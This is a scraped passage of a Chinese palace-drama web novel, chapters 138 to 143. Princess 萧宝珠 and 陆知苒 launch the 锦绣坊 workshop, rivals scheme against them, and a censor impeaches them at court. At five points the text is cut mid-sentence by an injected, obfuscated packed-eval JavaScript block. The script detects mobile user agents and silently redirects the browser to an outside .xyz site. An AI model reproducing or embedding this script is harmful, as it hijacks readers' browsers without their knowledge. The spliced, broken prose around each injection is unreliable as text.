她一再感叹陆知苒乃女中能人,陆知苒心念一动,便道:“这件事,其实由公主出面主持再合适不过。” 萧宝珠当时就被她这话惊得连连摆手,“我?我不行我不行,我最多能帮你打打下手。” 上回陆知苒便请她帮忙负责工坊的一件小事,萧宝珠毫不犹豫就答应了。 这一回,她想直接把整个工坊都交给她,那真是太抬举她了啊。 陆知苒认真地道:“公主不试试怎么知道自己不行?难道公主不想替皇上分忧?不想让皇后对你刮目相看?” 最后那话,让萧宝珠露出了犹豫之色。 “可我怕自己做不好。” 陆知苒握住她的手,“没人天生就会做所有事,做不好不要紧,慢慢学就是了,再说了,有我在,出不了岔子。” 她的眼神充满了真诚的鼓励,萧宝珠一下获得了莫大的动力,她立马便找了机会,到德丰帝面前求了这个差事。 德丰帝一开始也并不放心,但萧宝珠把自己从陆知苒那里学来的东西头头是道地说了出来,德丰帝看她的眼神顿时变得不一样了,这才允了她此事。 没曾想,这工坊一亮相,倒是成了个香饽饽,这就开始引人垂涎了。 李贵妃很不甘,“原来如此,小九能有此番上进的心思,也是好事一桩。不过工坊刚开始事情千头万绪,不若便让婉贞一道去帮忙看顾,这是为百姓谋福的大好事,可不能出半点岔子。” 萧婉贞压下心头翻腾的思绪,也跟着开口,“对啊,儿臣也去帮忙,多个人也能多一份力。” 德丰帝的神色越发淡了,“贞儿,你方才不是说府中诸事繁多,连进宫请安都无暇分身吗?既如此,你就安心料理家事吧。心莫要太大了。” 萧婉贞的脸色瞬间白了几分。 这话中的敲打之意再明显不过。 不待她们再说些什么,德丰帝起身,“朕还有政务要料理,便不陪你们闲话了。” 德丰帝离开,母女二人这才露出了真实情绪。 “小**!竟被她抢了先!” 李贵妃面色阴沉,“她就是个一无是处的蠢货,凭什么跟你争?” 萧婉贞咬牙切齿,“可是架不住父皇偏心!” 李贵妃沉吟半晌,面上浮出一丝冷笑。 “等着,母妃定会想法子给你把这差事抢过来。” 萧婉贞目露不解,“父皇方才的态度已经那么明确了,事情还有回旋的余地?” 李贵妃拍了拍萧婉贞的手,“你放心,母妃有法子让她自己知难而退。” 离开了毓秀宫,德丰帝的面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161994|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼上一层晦暗。 有些人自以为自己的心思掩饰得很好,殊不知,落在他眼里,便如同跳梁小丑般笨拙可笑。 倒不如像小九那样,想要什么便直说,有什么想法也直白地写在脸上。 小九的确不聪明,但这份简单纯粹,也是德丰帝喜欢她的原因。 “今晚晚膳,摆驾长乐宫。” 方才那顿饭吃得委实噎得慌,晚上到小九那儿多吃两碗,补回来。 萧宝珠不知道,自己好不容易挣来的差事差点被人抢走了。 晚上陪德丰帝用了一顿饭,父女二人都吃得十分满足。 德丰帝走后,萧宝珠舒舒服服地躺在软乎乎的小榻上,有一下没一下地揉着自己腰上的软肉,惬意极了。 但这样的惬意很快被打破了。 坤宁宫的人来了,“九公主,皇后请您过去一趟。” 萧宝珠一个激灵就从小榻上坐起,方才的放松一扫而空,浑身迅速地紧绷起来。 “母后可是有什么事?” 秦嬷嬷给传话的宫人塞了个荷包,那宫人态度便殷勤了几分,“早先四公主和李贵妃去向皇后请安了。” 萧宝珠的眉头顿时蹙起,心中升起一股不大好的预感。 她赶紧更衣装扮了一番,与那宫人一道往坤宁宫而去。 在门口站定,她深吸了一口气,这才迈步而入。 步态端庄,神色得体,婷婷袅袅地朝上首行礼,连头上的金钗都没有发出半点响动。 “儿臣给母后请安。” 孙皇后倚在软枕上,屋中烧着地龙,她依旧裹着厚厚的披风,面容消瘦,没有半点血色。 她轻轻咳了一声,这才开口。 “我听说,你向你父皇求了负责城外工坊的差事?” 没想到竟是为了此事。 萧宝珠低低应是。 孙皇后眉眼当即一沉,“胡闹!你堂堂嫡公主,掺和那些事做什么?” 萧宝珠的身子不受控地缩了一下,但很快就挺直了腰杆,让自己看上去底气充足。 “那是为百姓谋福的好事。” 第139章 人贵有自知之明 “那与你何干?你平白横插一脚,能帮得上什么忙?别给本宫丢人现眼。” 毫不客气的贬低,让萧宝珠的脑袋深深地垂了下去,心口升起一股又酸又涩的感觉。 “儿臣会努力学的,定能把这桩差事办好……” 孙皇后打断了她,“你成日里只知憨吃憨玩,哪来这能耐?人贵有自知之明!明日便去向你父皇把此事推了!” 她的语气不容置疑,萧宝珠狠狠攥紧了拳头,胸中的憋闷攀至顶峰。 她抿着唇久久不语,孙皇后严厉的目光刮向她,“本宫的话,你可听清了?” 萧宝珠没有开口,无声的沉默便是她的反抗。 孙皇后气得脸色铁青,又掩唇咳了起来,身旁的吴嬷嬷立马给她抚背顺气。 萧宝珠眼底闪过一抹慌乱与紧张,下意识抬步就要上前查看,又硬生生地忍住了。 吴嬷嬷急道:“公主,您就服个软吧,皇后都是为了您着想。” 萧宝珠看着孙皇后,声音艰涩。 “为何从小到大,您就没有夸过儿臣一句,认可过儿臣一次?” 孙皇后冷声,“你是个什么样子,你自己不清楚?你有哪一点值得本宫认可,值得本宫夸赞?” 萧宝珠心口像被刀子狠狠扎了一下,她非常努力地隐忍,才终于把眼泪憋了回去。 “母后,连父皇都愿意把差事交给儿臣,为何您就不能信儿臣一回?在您眼里,儿臣就这般一无是处?” 孙皇后头疼地揉着眉心,“本宫没心思与你扯这些,明日你就去把此事处理了,别让本宫说第三遍。” 萧宝珠眼神决绝地迎视着她,“母后,这桩差事是儿臣主动求来的,儿臣不会轻易放弃。” 孙皇后大怒,“你敢违逆本宫?” “又惹了母后生气,儿臣很抱歉。但您有您的偏见,儿臣也有儿臣的坚持。您瞧好吧,这一回,儿臣定会让您刮目相看!” 她会向她证明,自己并不是一无是处的废物! 说完,她转身便跑了出去。 孙皇后气得胸口上下起伏,“她,她真是反了天了!” 吴嬷嬷赶忙安抚,“娘娘莫要生气,九公主对您最是孝顺不过的,并非有意气您。九公主也是太想在您跟前证明自己,才会执意揽下工坊之事。” 孙皇后面上尤有余怒,“那工坊日后究竟如何还未可知,那蠢丫头当这出头鸟有甚好处?若是被人盯上,随便给她挖个坑她怕是就要傻乎乎地往里跳,到时候如何收场?” 李贵妃特意到她跟前提起这事,真当她猜不透对方的心思? 说白了,那是萧晏辞和萧晏清的争锋,孙皇后不想让萧宝珠掺和进去。 吴嬷嬷叹息,“皇后明明是为公主着想,为何不能与公主把其中利弊分说清楚?” 好好的母女,弄得跟仇人似的。 孙皇后下意识蹙眉,“她是个没长脑子的,跟她说这些有什么用?她也不会放在心上。” 吴嬷嬷不赞同,“九公主只是心宽,并非愚钝,您什么都不说,九公主才更要误会您,与您离心。” 孙皇后揉着发胀的太阳穴,“她早就与本宫离心了。你安排人看顾着些,莫要让她闯祸。” 吴嬷嬷笑道:“娘娘心里到底还是关心公主。” 孙皇后冷哼一声,“本宫只是担心她闯祸,连累本宫。” 主仆二人的这番话,萧宝珠没有听到。 回到长乐宫,她就关起门狠狠哭了一场。 第二天,两只眼睛肿得跟核桃似的,整个人的精神也蔫蔫的。 秦嬷嬷见了,心疼得不行,但又不能妄议皇后,只能把火气撒在旁人身上。 “定是毓秀宫那位在皇后跟前挑拨了,才累得公主受了委屈。” 萧宝珠苦笑,若母后信任她,旁人再如何挑拨又有何用? 萧宝珠又给陆知苒下了帖子,还是约在老地方漱芳斋。 秦嬷嬷守在门口,低声飞快地与陆知苒说了几句话,陆知苒心中了然。 见了萧宝珠,她没有出声宽慰,而是道:“公主,咱们去工坊转转如何?” 萧宝珠一愣,“现在?方便吗?” “乔装打扮一番便是,这有何难。很快工坊就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161995|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要开始运营,总要去看一看。” 想到自己在母后面前夸下的海口,萧宝珠一下打起了精神。 二人一番乔装,俨然成了两个普通的村妇。 最近工坊附近变得热闹起来,很多普通出身的女子都前来打探消息,希望能求得一个进入工坊学手艺的机会。 陆知苒和萧宝珠这番打扮混在其中,丝毫不违和。 这里的一切都是陆知苒亲手在图纸上规划的,但她自己却是第一次踏足这里。 图纸上的设计复刻成了活生生的现实,大家都井然有序地忙碌着,处处都洋溢着生机与希望。 看着这番场景,萧宝珠心头不禁充满触动,她看向陆知苒的眼神更满是崇拜。 “这些都是你的功劳,苒姐姐,你真厉害。” 陆知苒眸底盛着笑,“我只不过是出了些银子罢了,真正出力的是在场的每一个人。” 又转头看向萧宝珠,“很快,这里也会有公主的一份力。” 萧宝珠佯怒瞪她,“该喊我什么?” 陆知苒笑意盈眸,“宝珠。” 萧宝珠这才跟着笑起来,原本心头的愁绪早已没了踪迹。 她的眸底燃起灼亮的光,骄傲地说,“没错,很快,这里也会有的我一份力。” 就在这时,前方忽然传来了一阵骚动。 “别打了,别打了!” “哎哟,你这小崽子,敢挠我,看我怎么收拾你!” 陆知苒和萧宝珠对视一眼,二人立马上前查看。 萧宝珠看着那挥舞着拳头的孩子,蹙眉思索。 “我怎么瞧他有点眼熟?我想起来了,他是当初在邢家门口状告你爹的那个孩子!” “没错,是他。” 小虎子正以一人之力对战对面三个身材壮硕的妇人,几名护卫费了半天劲才终于把人分开。 双方都挂了彩,但奇迹的是,那三个妇人竟然比小虎子伤得更重,头发乱了,脸上花了,身上的软肉更是疼得不得了。 这小崽子,力气比牛还大,还专门往她们身上肉多的地方掐,简直是叫她们有口难言。 第140章 毁了她的一番好意 萧晏辞闻讯而来,冷沉的目光扫向几人,身上自带一股不怒自威的气势,“怎么回事?谁先动的手?” 众人头一回见他露出这番神色,都被唬得不敢开口。 小虎子梗着脖子,声音哽咽,“是我先动的手,但她们该打!她们在背后嚼我姐姐的舌根,净说些难听的话,我实在气不过!” 春杏眼眶通红,声音哽咽。 “瑾王殿下,此事皆因我而起,您要打要罚都冲着我来,还请您高抬贵手,饶了虎子。” 萧晏辞看向那几个妇人,“你们都说了些什么?” 她们支支吾吾,“就,就只是随便说说而已。” “随便说说是什么?” 她们互相推搡,无人开口。 小虎子气愤地道:“我姐姐想进工坊学刺绣,她们就说我姐姐是残花败柳,做出来的刺绣也没有谁敢穿,不配进工坊。还说她……” 【长得一副勾人的模样,难怪当初会被人抢回去当小妾。】 【她那样子就是不安分的,同样的棉衣,穿在她身上腰身就格外凸显,定是她悄悄改了,指不定想趁机再给自己寻个下家呢。】 【就她那样的破鞋,谁会要她啊,真是不要脸。】 这样的话太过难听,小虎子实在说不出口。 但萧晏辞已然明白是怎么回事。 春杏刚来到收容所时,瘦得只剩下皮包骨,看上去甚是可怜,大家对她也是同情居多。 经过这么一段时间的调养,她脸上慢慢丰盈起来,整个人变得清丽脱俗,在一群村妇中十分惹眼,自然就有人开始在背后嚼起了舌根。 这已经不是第一次有人背后议论她,她每每听到,都只默默忍受,不予理会。 但小虎子不是忍气吞声的性子,更见不得自己姐姐受半分委屈,这才把事情闹大了。 萧晏辞冷沉的眸光扫向她们,“你们可说过这样的话?” 那三个妇人面上闪过一抹心虚。 “我们就,就只是开个玩笑而已。” “对,对,我们只是开玩笑,当不得真的。” 小虎子高声反驳,“你们说得那般恶毒,根本不是开玩笑!你们都是欺负我姐姐的坏人!” 萧晏辞冷声开口,“此处工坊,乃是平乐县主牵头办起来,这上上下下每一笔银子都是她掏,她为的是什么?为的是给天下女子谋求一条更加广阔的路,铺就一个更加明朗的前程。” “她不因你们出身低微而瞧不起你们,只要你们踏踏实实,勤劳肯干,哪怕你们目不识丁,毫无基础,她也平等地给你们机会。可你们呢?不好好干活,却在背后嚼人舌根,自以为是地搞分化,搞歧视!你们这是要毁了一个无辜女子的未来,更辜负平乐县主建造工坊的初衷,毁了她的一番好意!” 这番话振聋发聩,那三个妇人羞愧得低下了头,其他也在背后议论过春杏的人也满心羞惭。 陆知苒看着萧晏辞吗,眸中闪过诧异。 他竟能把自己的想法说得那般精准,一字不差。 心头似被什么轻轻戳了一下,一股奇妙难言的情绪在心尖蔓延。 萧宝珠直接站出来,高声喝彩,“说得好!” 萧晏辞看向她,微微一怔。 目光一转,恰好与陆知苒碰到一处。 不知为何,陆知苒莫名觉得心口被烫了一下,眼神轻轻闪了闪。 萧晏辞下意识摸了摸怀里,在贴近胸口的地方,放着那枚**耳坠。 说来也怪,以往他总留不住东西,但这枚耳坠却好好的,没有再弄丢。 萧宝珠看着那三个妇人,“同样身为女子,你们对遭遇不幸的无辜女子非但没有心怀同情,反而口出恶言,你们不觉得亏心吗?” “能不能进工坊,是管事说了算,不是你们说了算。我瞧着你们一个个双手粗糙开裂,再看这位姑娘十指纤长,皮肤细腻,这才是一双刺绣的手,真严格筛选起来,你们才是被淘汰的那一个。” 这话让那三人面色都白了,不少人也都低头看着自己的手。 她们在家中都是家里家外什么活都干,谁的手不粗糙? 而春杏被抢回方家,虽然身体上受了折磨,但一双手倒是养得不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161996|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那三个妇人立马扑通跪下,满脸愧悔,“瑾王殿下,我们错了!我们以后再也不敢了。” 萧晏辞淡淡道:“你们该道歉的人不是本王。” 三人立马对春杏连声道:“春杏妹子,对不住,是我们是嘴巴臭,我们以后再也不会再这般胡言乱语了!” 春杏心头酸酸胀胀的,这段时日所受的委屈,在这一瞬间终于有了宣泄。 三人又向萧晏辞哀求,“求求您让我们留在工坊吧,我们做不了细致活,可以做粗活,什么脏活累活我们都愿意干!” 萧晏辞淡淡道:“你们安分守己,好好表现,本王自然会给你们机会。但若你们依旧不思悔改,惹是生非,那就恕本王不留情面。你们其他人亦是如此,可听明白了?” “听明白了,听明白了!” 一番震慑,叫原本有些飘的众人都老实下来,同时升起了一股紧迫感,万一自己没选上怎么办?现在每天都有很多人来工坊打探消息,就等着抢她们的名额呢! 她们定要卖力地好好表现,断不能被人抢了名额! 众人散去,萧晏辞抬步就要朝陆知苒走去,小虎子却黏了上来。 “瑾王殿下,您又帮了我姐姐一次,您真是大好人!” “是本王的分内之事罢了。” “瑾王殿下,您有什么吩咐,喊我一声,我什么都能做!” “本王没什么要吩咐你的,玩儿去吧。” 萧晏辞的余光一直追随陆知苒的方向,但这小子却十分不识趣,亦步亦趋地跟着他。 萧晏辞停下来,他一下撞倒了他身上。 “你跟着本王做什么?” 小虎子揉了揉撞疼的鼻子,挺直了腰杆,“我,我没事,就想跟在您身边,随时听候差遣。” 萧晏辞目光在他身上转了几圈,“你小子,打的什么主意?” 小虎子眼神微微闪躲,最后似豁了出去,大声道:“我,我想跟在殿下身边做事!我虽然年纪小,但我力气很大的,方才我一个人打倒了她们三个!只要殿下给我机会,我定能做好!” 第141章 打肿脸充胖子 萧晏辞看向他,忽而朝他出手挥出一拳,小虎子的反应竟也十分迅速,立马伸手格挡,那力道,竟震得萧晏辞掌心微微发麻。 萧晏辞挑眉,“好小子,力气果然不小。” 小虎子满眼期盼地望着他,“殿下,您就让我在您身边做事吧,我不要月银,管我一口饭吃就行!” 萧晏辞抬手比了比他的个头,“你太矮了,多吃点,至少长到我肩头那么高。” 小虎子下意识挺胸抬头,“我,我会努力长高的,瑾王殿下,您让我留下吧!” 他语气急切,恨不得直接跪下。 “你空有一把子力气,却完全不通武艺,若不好好学,日后也是野路子,成不了气候。你若当真想到本王身边当差,就先去学几年拳脚。” 小虎子的表情凝固,露出几分局促与窘迫。 “可,可我,不知道到哪里学……” 他也没银子去学。 萧晏辞抬手在他脑门上弹了一记,“本王既然提了此事,自然会安排妥当。但若你不肯好好学的话……” 小虎子立马像小鸡啄米似的连连点头,“学,我一定好好认真学!绝不会辜负您的一番安排。” “好,到时候本王亲自考你,可不要让本王失望。” “是!”他应得十分响亮,眸底也燃起了灼亮的光芒。 萧晏辞把小虎子打发走,再抬眸,已不见了陆知苒的身影,他心头不禁升起一股淡淡的失望。 回宫之后,萧宝珠第一时间去寻了德丰帝,请他为工坊赐名。 德丰帝沉吟片刻,提笔,落下三个龙飞凤舞的大字。 “锦绣坊。这名字取得好!儿臣这就命人将您的墨宝刻成牌匾,挂上去!” 说完她便将那副字卷起,乐颠颠地走了。 三日后,锦绣坊开始正式招募学员。 萧宝珠和陆知苒齐齐现身了。 萧宝珠身着一袭鹅黄色的锦缎袄裙,裙摆上绣着精致的牡丹花纹,原本娇憨圆润的脸微微板着,一下便端出了股不可亵渎的高贵来。 没人知道,她的手心已经紧张得微微冒汗。 陆知苒畏寒,身上披着一袭雪白披风,满头青丝如瀑,仿佛一幅水墨画中走出的仙子,带着一种疏离的美感。 二人站在一处,各有风姿,众人都下意识屏住了呼吸,不敢再窃窃私语。 迎着众人满含希冀的目光,萧宝珠觉得浑身都充满了干劲,原本的紧张也一扫而空。 她清了清嗓,朗声开口,“诸位,锦绣坊乃朝廷与太仓商行联合督办,目的便是为了造福大家,让天下女子都能走出一条锦绣前程。今日锦绣坊开始招募学员,但凡有意者都有机会加入。本公主奉命负责此间事宜,会与大家一同努力,把锦绣坊办好,从今以后,大家互相关照!” 大多数选择加入锦绣坊的都是年轻的姑娘,中年妇人只有少数。 哪怕锦绣坊的条件优渥,但她们到底舍不下那几亩田地,也更需要回家操持一家老小的吃穿。 春杏安静地排着队,双手紧张地来回揉搓。 女官的态度出乎意料的亲和,只询问了一些基础的问题,又看了看她的双手,便满意地点了点头。 “你被录用了。” 听到这个肯定的回答,春杏激动得差点落泪。 以后,她能靠自己的双手挣钱,再不用担心未来与前路了。 人员招募只是第一步,人员的安排,以及锦绣坊后续的运转等,每一桩每一件都不简单。 萧宝珠和陆知苒连轴转地忙了五六日,锦绣坊才真正运作起来。 萧宝珠瘦了一大圈,原本过于圆润的脸颊竟然也开始有了尖尖的弧度。 饶是如此,她也半点都不喊累,反而每天干劲十足。 所有人都在关注锦绣坊的动向。 方氏母女也时刻派人打听着。 陆映溪心里又酸又恨,“她怎么这么有钱!” 真那么有钱,给她不好吗,要花在那些贱民的身上! 方氏也酸得不行,“等着瞧吧!她的工坊根本赚不到钱,就赚个吆喝罢了,她打肿脸充胖子,揽下这么个累赘,日后便是想甩都甩不掉!” 眼下锦绣坊搞得红红火火,陆知苒被大家捧成了在世的活菩萨,她便被架在了火上,要一直养着那些人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161997|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>不然,她里子面子都丢光了! 不仅方氏母女这么想,其他人亦是同样的想法,大家都等着看陆知苒的笑话,看她接下来要如何收场。 但很快,他们就被打脸了。 “好消息,好消息,城外锦绣坊推出宫廷御用系列好物,都是宫里娘娘们用的好东西,大家快去瞧一瞧,看一看,数量有限,先到先得,千万不要错过!” 十几人在街上敲锣打鼓,高声吆喝,迅速吸引了众人的关注。 “宫廷御用?都有些什么?” “走,去看看!” 大家闻讯而来,锦绣坊附近停满了马车,甚是热闹。 老远,就能听到前方传来一阵抑扬顿挫的声音。 “大家瞧一瞧,这面刺绣,线条流畅,色彩柔和,绣品中的花鸟鱼虫栩栩如生,仿若能闻其声,感其动,这山水人物则意境深远,仿佛置身画中,令人流连忘返。” “这是宫中绣娘今年刚绣出来的,颇得诸位娘娘喜爱,以往是断然不可能流出宫外的。幸得皇上法外开恩,才特许宫中绣娘出宫。” “诸位夫人小姐若有看上这刺绣的,可到这边做个登记,交上定金,待刺绣完成,我等再亲自往诸位府上送去。若没有瞧上这面刺绣的也不要紧,这里还有好些其他样式……” 那头,胭脂坊前也围满了人。 “大家都可以试试这盒胭脂,其色如朝霞初绽,红而不艳,娇而不俗,轻轻一抹,便能让人脸上晕染出自然红晕,仿若春日桃花拂面,又似晚霞映照,简直令人心醉!这款胭脂,实乃宫中贵人的最爱。诸位若是喜欢,可千万不要错过。” “来来来,诸位来试试这香,这款云梦沉香,香气清雅恬淡,令人闻之心神宁静。还有这款玉露甘松,香气醇厚,深邃悠远……这些,都是柔妃娘娘独家秘方调配,除了这里,别的地方可都买不着。大家喜欢哪一款,都可以预定。” 这样的对话发生在锦绣坊各处。 宫廷御用,娘娘同款的招牌简直无往不利,即便眼下根本拿不到实物,也轻而易举地让这些有钱的夫人小姐往外掏银子。 第142章 不鸣则已一鸣惊人 萧宝珠看着眼前火爆的情形,喜得眉眼弯弯,同时看向身旁人的眼神也更加亮了。 “苒姐姐,你真是料事如神啊!咱们这工坊半个现货都没有,竟然真的有这么多人争着抢着买!你是怎么料到的?” 陆知苒淡淡一笑,“这其实很好理解,宫里的东西对她们来说是身份的象征,是有钱也买不到的,现在有了机会,她们自然争着抢着买。” 萧宝珠若有所思。 “还是你脑子好使,我太笨了,根本想不到这些。” “宝珠,你莫要妄自菲薄,此事能成,你出力最多。若非有你从中说和,皇上定然不会同意此计。” 之前,陆知苒在萧宝珠的公主府吃烤肉那次,她请萧宝珠帮忙,办的便是这件事。 不然,她空有点子,却落不到实处,那也是白搭。 陆知苒不遗余力地夸赞,让萧宝珠露出了笑颜。 除了阿笙以外,只有她能给自己提供这般充沛的情绪价值。 这时,有女官入内回禀,“公主,刺绣的预定数量已经满了,但还有其他小姐想买,咱们还要再加名额吗?” 萧宝珠目露欣喜,正想点头,陆知苒却阻拦了,“不可再加名额。” 萧宝珠困惑,“为何不可?这些都是银子呀。” 陆知苒摇头,“凡事在精不在多,银子咱们下回可以继续赚,这回贪心了,下回可就无人买账了。越是稀缺,才越能体现价值。” 她们定的价可不便宜,若花了重金买到的东西遍地都是,那些夫人小姐会怎么想? “更何况,这批刺绣需要时间赶制,还有一批新人需要教,再加名额的话,我们的人力就不足了。第一单生意就失信于人,此乃大忌。” 她定的数量,都是根据工坊现有的人手安排的,万不可贪多。 萧宝珠思索一番,明白过来,认真点头。 这时,又有女官来请示,胭脂和香料也定满了,是否需要增加名额。 萧宝珠以为陆知苒同样会拒绝,没想到她却同意了。 萧宝珠有些迷糊了,“苒姐姐,你方才不是说不可贪多吗?” 陆知苒耐心解释,“这不一样,刺绣制作工艺繁复精细,且价值高昂,算是奢侈品,自然以稀为贵。但胭脂和香料价格一般,且为消耗品,需求本就更大。再者,胭脂和香料的制作周期短,咱们先集中人力生产这些产品,也更有助于快速回笼资金。” 萧宝珠听得一愣一愣的,“苒姐姐,以后我还有很多需要向你学习的地方。” 陆知苒笑道:“慢慢你就能游刃有余了。” 短短一日,原本计划的预定名额就满了。 后面再来的夫人小姐什么都没买到,顿时满心失望。 这时,萧宝珠出面安抚众人,“诸位莫要着急,五日后,咱们锦绣坊会有一批其他商品,这次没买到不要紧,下次欢迎大家再来。” 至于那批商品有什么,萧宝珠不肯透露,留足了悬念。 众人怀着期盼离开,而这个消息也很快在贵女圈中传开,大家都相约五日后定要到这里逛逛。 其实并非萧宝珠故弄玄虚,是她自己也还没弄清楚呢! “苒姐姐,五日后你要在这里卖些什么?” “自然是夫人小姐用得上的东西。” 萧宝珠疑惑,“可是咱们工坊不是什么都还没做出来吗?” 陆知苒抬手点了点她的脑门,“谁说一定要卖咱们工坊做出来的东西呀?咱们现在就把工坊前的摊位划分好,分租出去。只一个要求,卖的东西必须要好,太过低端的,通通不行。” 他们这锦绣坊,面向的都是有头有脸的人家,东西不够好可就砸招牌了。 萧宝珠目瞪口呆,“这,这样也行?” “有何不可?如此一来,咱们既能把人流源源不断地引到锦绣坊,以便我们日后售卖其他商品,还能有一笔租金收入,两全其美,何乐不为?” 萧宝珠彻底没话了,只能朝她竖起大拇指。 高,真是高! “不过,咱们锦绣坊也不能什么都不卖,还是得拿出一两样镇店之宝作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161998|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为噱头。” 陆知苒看着萧宝珠,后者立马心领神会。 “放心,这镇店之宝我去弄。” 她怎么着也能在宫里薅到几样好东西,实在不行,就厚着脸皮向父皇讨要。 反正这锦绣坊挣的银子,也有朝廷的一半,也相当于在替父皇挣钱呢。 那头,女官们也统计出了今日的战绩。 看到那数字,萧宝珠狠狠倒吸凉气。 她抖着手,把那明细账目揣怀里,她这就去向父皇邀功去! 锦绣坊此举,可谓不鸣则已,一鸣惊人。 那些等着看陆知苒笑话的人都傻眼了。 她这是什么赚钱经商的鬼才,借着宫廷御用的名义,当真是玩的好一手空手套白狼。 关键是,还真让她给套到了! 有人赞叹陆知苒有奇才,也有人直接破防了。 萧婉贞第一时间入宫,将锦绣坊的盛况学给李贵妃,李贵妃气得摔了一套茶具。 “母妃,这偌大的功劳就要落到萧宝珠那蠢货手里去了!儿臣实在是不甘心!” 这份差事原本该是她的才对! 母妃信誓旦旦说一定能替自己把差事抢过来,谁曾想,到头来也只是一句大话。 萧婉贞心里存了怨气,面色越发难看。 李贵妃狠狠咬牙,“她们顶多也只能得意一时罢了!” 萧婉贞幽幽道:“就算只是得意一时,也足够风光的了。” 李贵妃眸光幽深,冷冷道:“堂堂宫妃,竟把自己用的东西拿出去当噱头卖,简直有辱斯文,这会让百姓如何看待后妃,如何看待皇上?等着吧,明日就会有人狠狠参她们一本。” 闻言,萧婉贞这才露出得意的笑,她就等着看笑话便是! 翌日早朝,御史台葛大人上折,将矛头直指陆知苒。 “宫中娘娘乃是贵人,御用之物岂能随便流出宫外?还像商品一样被众人抢购,这简直是对娘娘们的亵渎,更是对皇上您的大不敬!平乐县主就算急于盈利,也应当注重方法,不该如此不择手段。” 第143章 偷鸡不成蚀把米 陆贯轩自然知道锦绣坊的这番大动作,他还在为自己女儿再次立下大功洋洋得意,不曾想,葛松源这老东西又跳出来找茬,而且,这扣的还是一顶天大的帽子。 陆贯轩后背冷汗都下来了。 “葛大人,你,你说话可要负责,那锦绣坊是正经开门做生意,也是在给朝廷挣银子,又没有坑蒙拐骗,如何就是不择手段了?” 葛松源满脸鄙夷不屑,“这正经开门做生意的,哪有光收钱不给东西的?你见过谁是这么做生意的?令爱分明就是空手套白狼。” 陆贯轩一噎,一时也有点心虚,很快他就梗起脖子辩驳。 “那银子都是她们自己主动掏的,又没人逼着她们,怎么到了葛大人的嘴里就成了强买强卖似的?经商的手段多种多样,葛大人未免太过少见多怪。” 葛松源冷笑一声,“那她拿娘娘御用之物做幌子,这又要如何解释?宫中娘娘专用的东西,岂能当成货品随便买卖?她此举实在胆大妄为。” 其他官员也纷纷出列,附和葛松源的话。 陆贯轩被众人**,好一阵汗流浃背。 他不禁在心中暗暗埋怨陆知苒行事太过大胆,若是连累了自己,回去定要好好收拾她! 葛松源见他说不出话来,面上顿时露出得意之色。 “皇上,微臣以为,平乐县主出资修建锦绣坊,一心为民,这固然是好事,但其经营手段实在太过有辱斯文,对您,对宫中娘娘都是大不敬!应当及时叫停,好生敲打,以示训诫。” 德丰帝缓缓开口,“葛爱卿,你可知,锦绣坊朕已经交给了九公主负责?你是要朕连九公主一起严惩?” 葛松源立马道:“九公主涉世未深,于经商之道上也并无经验,此次定是被平乐县主忽悠蒙蔽了。” 德丰帝面上神色意味不明,“那葛爱卿以为,此事若无朕的点头示意,她们敢擅作主张?” 葛松源呆住,满脸不可置信。 方才跟着一块讨伐陆知苒的官员们也都呆愣当场。 若此乃皇上首肯,那方才他们的那番话岂不都骂到了皇上的头上? 可皇上怎会同意此事? 